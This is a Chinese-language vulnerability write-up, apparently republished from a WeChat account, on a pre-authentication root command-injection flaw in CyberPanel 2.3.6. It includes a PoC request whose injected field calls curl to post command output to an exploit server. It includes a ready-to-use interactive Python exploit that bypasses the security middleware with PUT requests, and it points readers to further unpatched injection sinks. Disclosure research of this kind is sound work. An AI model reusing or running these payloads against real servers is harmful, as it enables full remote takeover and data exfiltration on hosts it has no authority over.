几个月前,我被指派对运行 Cyber Panel 的目标进行渗透测试。它似乎是由一些VPS提供商默认安装的,而且它也是由Freshworks赞助的。
由于功能非常有限,我对如何 pwn 目标一无所知,所以我换个想,让我们找一个 0day ̄_(ツ)_/ ̄ 吧。
这会导致在最新版本(目前为 2.3.6)上实现 0 次点击预身份验证根 RCE。它目前仍处于“未修补”状态,例如,维护者已经收到通知,补丁已经完成,但仍在等待CVE和修复程序以使其进入主要版本。 截至 10 月 30 日的更新,已分配两个 CVE:
-
CVE-2024-51567漏洞
-
CVE-2024-51568漏洞
以及维护者的安全公告。
.您可以在 https://github.com/usmannasir/cyberpanel/commit/5b08cd6d53f4dbc2107ad9f555122ce8b0996515 中找到补丁提交。
我还对漏洞赏金计划进行了大规模扫描,一些主机受到影响 - 感谢 iustin 的帮助!
我觉得这篇文章还记录了我在审核各种项目时的心智模型,所以如果你是一个具有创造性思维的初学者,希望开始进行代码审查,我绝对推荐你阅读这篇博客。
代码库结构:
它实际上是一个非常简单的 Django 网络应用程序。它的实际目的是在 VPS 上设置各种系统服务(如 FTP、SSH、SMTP、IMAP 等)。
当登陆主页时,我们只会看到一个登录功能,所以看起来我们没有太多可玩的 :/
好吧,无论如何,这只是冰山的顶端。
与任何 Django 项目一样,在检查实际项目之前,我们应该始终查看框架的工作原理,模式是这样的:
-
X/urls.py
-> 此文件将包含功能 X 的所有 API 路由。 -
X/views.py
-> 此文件将包含功能 X 的路由映射到的所有 Controller。 -
X/views
- > 动态生成页面 HTML 的模板。 -
X/static
-> static files 和其他 bs.…
由于它们通常包含身份验证等逻辑,因此这是我自然而然地开始检查的第一件事,我立即看到的是他们正在逐个对每条路由应用身份验证检查。
我的第一个问题是 - 为什么?你会期望有人使用 auth middleware 或其他任何东西,而不必自己在每个路由上都嗡嗡作响地编写 auth 检查。
紧接着我想到的下一个想法是:“伙计,如果我要编写这样的代码,我肯定会错过在几条路由上检查 auth”——是的,这正是这里发生的事情:)
代码库洞察的 N 天分析:
通常,当我试图更熟悉一个目标时,我总是阅读以前错误的文章/漏洞/文档,这对了解目标有很大帮助。
我在 2.3.5 中注意到以下安全版本 - https://cyberpanel.net/blog/cyberpanel-v2-3-5
文件管理器上传功能中的身份验证绕过:文件管理器上传功能中由人为错误引起的漏洞已在版本 2.3.5 中得到纠正。
-
caused by human error
..呵呵,这并不让我感到惊讶。
因此,它确实给了我一个想法,开始分析这个补丁以获取有关代码库的更多内部信息。
让我们看一下 https://github.com/usmannasir/cyberpanel/blob/fe3fa850e81db69479e62b5f5bcb7b83ae3488e1/filemanager/views.py 补丁之前的提交:filemanager/views.py
def upload(request):
try:
data = request.POST
try:
userID = request.session['userID']
admin = Administrator.objects.get(pk=userID)
currentACL = ACLManager.loadedACL(userID)
if ACLManager.checkOwnership(data['domainName'], admin, currentACL) == 1:
pass
else:
return ACLManager.loadErrorJson()
except:
pass
fm = FM(request, data)
return fm.upload()
except KeyError:
return redirect(loadLoginPage)
如果您仔细观察,在到达之前,我们需要绕过两个“检查”:fm.upload()
-
userID = request.session['userID']
-
admin = Administrator.objects.get(pk=userID)
第一次检查从 Django 的内部对象获取 our。第二个是调用 Django 的 ORM 来获取信息,无论我们是否是管理员。userId
session
嗯,令我惊讶的是,这两个实际上都抛出了一个异常,第一个试图访问一个不存在的键,而这只是默认的 Django ORM 行为:object.get()
如果没有与查询匹配的结果,get() 将引发 DoesNotExist 异常。
哎呀,我们需要一个 un-auth 错误,所以我们几乎会两者都失败 - 但是代码有一个明显的逻辑问题,因为它在 try/except 之外,并且无论 LOL 都有效。找到这个的人有一副好眼镜!fm.upload()
我们来看看方法:upload()
def upload(self):
try:
finalData = {}
finalData['uploadStatus'] = 1
finalData['answer'] = 'File transfer completed.'
ACLManager.CreateSecureDir()
UploadPath = '/usr/local/CyberCP/tmp/'
## Random file name
RanddomFileName = str(randint(1000, 9999))
myfile = self.request.FILES['file']
fs = FileSystemStorage()
try:
filename = fs.save(RanddomFileName, myfile)
finalData['fileName'] = fs.url(filename)
except BaseException as msg:
logging.writeToFile('%s. [375:upload]' % (str(msg)))
domainName = self.data['domainName']
try:
pathCheck = '/home/%s' % (self.data['domainName'])
website = Websites.objects.get(domain=domainName)
command = 'ls -la %s' % (self.data['completePath'])
result = ProcessUtilities.outputExecutioner(command, website.externalApp)
#
if result.find('->') > -1:
return self.ajaxPre(0, "Symlink attack.")
if ACLManager.commandInjectionCheck(self.data['completePath'] + '/' + myfile.name) == 1:
return self.ajaxPre(0, 'Not allowed to move in this path, please choose location inside home!')
if (self.data['completePath'] + '/' + myfile.name).find(pathCheck) == -1 or (
(self.data['completePath'] + '/' + myfile.name)).find('..') > -1:
return self.ajaxPre(0, 'Not allowed to move in this path, please choose location inside home!')
... irrelevant code ...
嗯,嗯,我们现在似乎正在使用 subprocess 来读取文件!我想这对我们来说是件好事,以后要记下来!
此时你可以猜到错误,它是一个通过 sink 的简单命令注入。completePath
ProcessUtilities.outputExecutioner()
-
注意: 不可能 (afaik) 执行此漏洞,因为我们的 ORM 检查将如前所述失败。
domainName
我还做了一个快速的 PoC,我不知道这是否是该错误的新变体,因为 RCE 没有在任何地方提及,但我想相同的补丁修复了它:
POST /filemanager/upload HTTP/1.1
Host: <target>
Content-Type: multipart/form-data; boundary=----NewBoundary123456789
Cookie: csrftoken=<CSRF-TOKEN>
X-Csrftoken: <CSRF-TOKEN>
Content-Length: 494
Referer: https://<target>:8090/
------NewBoundary123456789
Content-Disposition: form-data; name="domainName"
<target>
------NewBoundary123456789
Content-Disposition: form-data; name="completePath"
; curl -X POST https://<exploit-server> -d "pwn=$(id)"
------NewBoundary123456789
Content-Disposition: form-data; name="file"; filename="poc.txt"
pwn
------NewBoundary123456789--
无论如何,让我们对我们目前所拥有的知识做一个 TLDR:
-
身份验证检查是通过 Django 的 ORM 完成每个 API 路由的。
request.session['userID']
-
他们喜欢通过管道将事情传递给子流程。
-
他们喜欢把事情的秩序搞得乱七八糟。
-
他们喜欢忘记东西。
-
仅供参考:许多端点只允许您通过将 userID=1 传递给控制器来取消身份验证地与它们交互。希望这能给人们一个提示,如果他们想找到更多的 bug
查找 0day:
-
此时,我使用 Semgrep 挑选出可能有趣的代码片段,其中一段立即弹出:
def upgrademysqlstatus(request):
try:
data = json.loads(request.body)
statusfile = data['statusfile']
installStatus = ProcessUtilities.outputExecutioner("sudo cat " + statusfile)
if installStatus.find("[200]") > -1:
command = 'sudo rm -f ' + statusfile
ProcessUtilities.executioner(command)
final_json = json.dumps({
'error_message': "None",
'requestStatus': installStatus,
'abort': 1,
'installed': 1,
})
return HttpResponse(final_json)
elif installStatus.find("[404]") > -1:
command = 'sudo rm -f ' + statusfile
ProcessUtilities.executioner(command)
final_json = json.dumps({
'abort': 1,
'installed': 0,
'error_message': "None",
'requestStatus': installStatus,
})
return HttpResponse(final_json)
else:
final_json = json.dumps({
'abort': 0,
'error_message': "None",
'requestStatus': installStatus,
})
return HttpResponse(final_json)
except KeyError:
return redirect(loadLoginPage)
什么?这个就是没有身份验证检查,而且它是在最近的提交中添加的吗?一定是有人错过了它,否则就不会那么容易了。
让我们尝试为此触发 PoC:
哼。。从什么时候开始有恶意字符的过滤器?好吧,他们实际上确实考虑过实现一个中间件,一个也称为 :O 的安全中间件。secMiddleware
绕过 secMiddleware:
代码有点长,因此我将附上一个缩短的版本:
class secMiddleware:
HIGH = 0
LOW = 1
def get_client_ip(request):
ip = request.META.get('HTTP_CF_CONNECTING_IP')
if ip is None:
ip = request.META.get('REMOTE_ADDR')
return ip
def __init__(self, get_response):
self.get_response = get_response
...
if request.method == 'POST':
try:
# logging.writeToFile(request.body)
data = json.loads(request.body)
for key, value in data.items():
if request.path.find('gitNotify') > -1:
break
if type(value) == str or type(value) == bytes:
pass
elif type(value) == list:
for items in value:
if items.find('- -') > -1 or items.find('n') > -1 or items.find(';') > -1 or items.find(
'&&') > -1 or items.find('|') > -1 or items.find('...') > -1
or items.find("`") > -1 or items.find("$") > -1 or items.find(
"(") > -1 or items.find(")") > -1
or items.find("'") > -1 or items.find("[") > -1 or items.find(
"]") > -1 or items.find("{") > -1 or items.find("}") > -1
or items.find(":") > -1 or items.find("<") > -1 or items.find(
">") > -1 or items.find("&") > -1:
logging.writeToFile(request.body)
final_dic = {
'error_message': "Data supplied is not accepted, following characters are not allowed in the input ` $ & ( ) [ ] { } ; : ‘ < >.",
"errorMessage": "Data supplied is not accepted, following characters are not allowed in the input ` $ & ( ) [ ] { } ; : ‘ < >."}
final_json = json.dumps(final_dic)
return HttpResponse(final_json)
else:
continue
...
response = self.get_response(request)
response['X-XSS-Protection'] = "1; mode=block"
response['X-Frame-Options'] = "sameorigin"
response['Content-Security-Policy'] = "script-src 'self' https://www.jsdelivr.com"
response['Content-Security-Policy'] = "connect-src *;"
response[
'Content-Security-Policy'] = "font-src 'self''unsafe-inline' https://www.jsdelivr.com https://fonts.lug.ustc.edu.cn"
response[
'Content-Security-Policy'] = "style-src 'self''unsafe-inline' https://fonts.lug.ustc.edu.cn https://www.jsdelivr.com https://cdnjs.cloudflare.com https://maxcdn.bootstrapcdn.com https://cdn.jsdelivr.net"
# response['Content-Security-Policy'] = "default-src 'self' cyberpanel.cloud *.cyberpanel.cloud"
response['X-Content-Type-Options'] = "nosniff"
response['Referrer-Policy'] = "same-origin"
return response
此时,我开始模糊测试各种字符 + 技巧,这些角色 + 技巧将允许我通过此端点偷偷输入另一个命令,但无济于事。
所以和我们的 n 日一样,我开始合乎逻辑地接近这个问题,在那里我找到了一个有趣的旁路,它只需要一点点创造力,而不需要关于疯狂的 linux 恶作剧的实际知识,而这些恶作剧可以在这里帮助你。
如果你看一下中间件,它只在请求方法为 POST 时执行命令注入检查,但是,如果你看一下我们的路由,POST 数据是通过 .upgrademysqlstatus()
json.loads(request.body)
如果我们查看 Django 中该属性的文档,我们可以看到以下内容:body
原始 HTTP 请求正文(以字节字符串表示)。这对于以不同于传统 HTML 表单的方式处理数据非常有用:二进制图像、XML 有效负载等。要处理常规表单数据,请使用 HttpRequest.POST。
您能注意到这里的差异吗?无论所讨论的 HTTP 方法/动词如何,都将发送正文。
这意味着,我们可以只执行 // 等作为 HTTP 方法,并完全绕过安全中间件,哈哈?OPTIONS
PUT
PATCH
是的。。。我们可以:
具有 root 权限的轻松预身份验证 RCE :D(考虑到这个项目用于管理系统上的所有服务,这是有道理的)。
利用:
我为 “0day” 编写了一个快速的交互式漏洞,您可以使用、享受!
import httpx
import sys
def get_CSRF_token(client):
resp = client.get("/")
return resp.cookies['csrftoken']
def pwn(client, CSRF_token, cmd):
headers = {
"X-CSRFToken": CSRF_token,
"Content-Type":"application/json",
"Referer": str(client.base_url)
}
payload = '{"statusfile":"/dev/null; %s; #","csrftoken":"%s"}' % (cmd, CSRF_token)
return client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload).json()["requestStatus"]
def exploit(client, cmd):
CSRF_token = get_CSRF_token(client)
stdout = pwn(client, CSRF_token, cmd)
print(stdout)
if __name__ == "__main__":
target = sys.argv[1]
client = httpx.Client(base_url=target, verify=False)
while True:
cmd = input("$> ")
exploit(client, cmd)
您也可以在我的 Github 上获取文件。
挑战:
希望您阅读这篇文章:)玩得开心
既然你已经走了这么远,我给你一个挑战,甚至在这里找到你自己的 bug:
-
我的朋友发现了这个确切错误的另一个变体,你能做到吗?(可解决)
-
如果你想找到另一个 0day,请查看 restoreStatus 路由:
def restoreStatus(self, data=None):
try:
backupFile = data['backupFile'].strip(".tar.gz")
path = os.path.join("/home", "backup", data['backupFile'])
if os.path.exists(path):
path = os.path.join("/home", "backup", backupFile)
elif os.path.exists(data['backupFile']):
path = data['backupFile'].strip(".tar.gz")
else:
dir = data['dir']
path = "/home/backup/transfer-" + str(dir) + "/" + backupFile
if os.path.exists(path):
try:
execPath = "sudo cat " + path + "/status"
status = ProcessUtilities.outputExecutioner(execPath)这似乎是另一种简单的命令注入情况 - 这里的问题是 os.path.exists 需要返回 True,而路径仍会以某种方式包含命令注入有效负载。我们可能需要一个任意的文件创建小工具。(是的,我知道 Python 中的 os.path.join 技巧,不,它在这里没有帮助。
-
backupStatus 中似乎也有类似的情况:
def backupStatus(self, userID=None, data=None):
try:
backupDomain = data['websiteToBeBacked']
status = os.path.join("/home", backupDomain, "backup/status")
backupFileNamePath = os.path.join("/home", backupDomain, "backup/backupFileName")
pid = os.path.join("/home", backupDomain, "backup/pid")
domain = Websites.objects.get(domain=backupDomain)
## read file name
try:
command = "sudo cat " + backupFileNamePath
fileName = ProcessUtilities.outputExecutioner(command, domain.externalApp)
if fileName.find('No such file or directory') > -1:
final_json = json.dumps({'backupStatus': 0, 'error_message': "None", "status": 0, "abort": 0})
return HttpResponse(final_json)
except:不过这里唯一的问题是,如果 backupDomain 不存在,我们会得到 ORM 异常。再次需要网站/文件名创建错误。
祝你好运!
原文始发于微信公众号(实战安全研究):0day 代码审计 CyberPanel v2.3.6 RCE
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论